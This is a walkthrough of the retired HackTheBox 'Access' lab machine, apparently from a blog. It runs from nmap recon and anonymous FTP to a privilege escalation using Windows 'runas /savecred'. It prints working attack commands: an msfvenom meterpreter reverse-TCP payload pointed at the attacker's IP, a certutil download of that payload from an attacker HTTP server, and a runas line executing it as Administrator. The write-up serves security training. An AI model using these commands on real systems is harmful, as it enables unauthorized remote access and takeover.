Recon
As always I start with a simple up/down nmap scan on all tcp ports to see what's live
# nmap -T4 -p- -oX /root/Desktop/HTB/Access/nmapb.xml 10.10.10.98
I then converted the output to HTML to make it pretty
# xsltproc /root/Desktop/HTB/Access/nmapb.xml -o /root/Desktop/HTB/Access/nmapb.html
Ports 21,23 and 80 are open let's do our next stage of our scan using the -A switch to finger the OS/Services
# nmap -T4 -A -p21,23,80 -oX /root/Desktop/HTB/Access/nmapf.xml 10.10.10.98
Then convert that output to HTML also
Alright so we have microsoft FTP running on port 21 with anonymous access.
Port 23 is telnet, and port 80 is IIS 7.5
Let's browse to 80 and see what we see
Looks like a webcam of a Data Center
Just a pretty simple page.
Let's see if drib can find anything else interesting here.
Dirb http://10.10.10.98
http://10.10.10.98/aspnet_client/ - Which is 403 for us right now
http://10.10.10.98/aspnet_client/system_web/ - Also 403
What about that FTP with anonymous access?
Two folders Backups and Engineer
Under Backups there is a DB I downloaded that to my computer
Set type to binary
Download the file
Under Engineer there is an Access Control.zip file, I downloaded that to my computer also
This turned out to be a password protected ZIP file
Exploit
Let's see what we might be able to find within these files.
I opened the mdb file using this online opener
Found this interesting Table
So we have some user/pass info here.
I tried to telnet with all these combinations and wasn't able to get in.
I also tried to login to the FTP with these login…. No dice
But wait? What about that password protected Zip file we could earlier?
Let's try that engineer password since this file is the one we found under the engineer folder on the FTP
It worked! Now we have a PST file. A pst file is a file used to save emails in microsoft outlook… so we probably have a saved email here.
I didn't want to xfer this over to my windows box, so I searched around for opening a PST file in kali
I found this site
# readpst -S -o /root/Desktop/HTB/Access/ /root/Desktop/HTB/Access/AccessControl.pst
So this output the file to a folder called Access Control, in that folder is a text file named 2
Open it up and found an email with this in it.
Hi there,
The password for the "security" account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
Regards,
John
Alright a new password to try,
Alright now we have a foothold to the system
We got the user hash with this login
User.txt is cool and all but what about system access to get that root.xt
Poking around we found a couple of interesting folders on this box
C:\ZKTeco>
This makes sense, the mdb file we found earlier looks like it was a db for a door access control system.
Under the public Desktop folder I found this lnk files ( shortcut to files )
type "ZKAccess3.5 Security System.lnk"
This looks like a shortcut to launch the door access control software…..
Do you see what I see?
Runas ACCESS\Administrator /savecred
/savecred means the password for administrator was saved the first time the program executed….
So we can use RUNAS to run any program we want as the Administrator account.
Let's do it…
I used MSFVENOM to create badidea.exe
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.13 LPORT=4444 -f exe > badidea.exe
Started up SimpleHTTPServer in my payloads folder to serve the shell to the target box
Setup a listener
Use exploit/mulit/handler
Options - to check the options that are required
Set payload windows/meterpreter/reverse_tcp - to mach the payload I created earlier
Set lhost to my VPN IP 10.10.14.13
Run to start the listener
Now we need to get the payload on the target box
I know wget is not standard on windows box but I still try
I used Certutil to grab the file from my attacking machine
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/badidea.exe" badidea.exe
Here is the output from my simpleHTTPServer giving the file
Now back to the target machine…
I first tried to run it without using the run as and got this message about group policy not allowing it
Tried it again with the run as
runas /user:Administrator /savecred "badidea.exe"
We got our shell
Even better we are Administrator so no we can get our last hash
Dropped down to shell and cd'd to the desktop folder and ran type against root.txt
6e15**************
Hackthebox.eu - Retired - Access
Comments
Post a Comment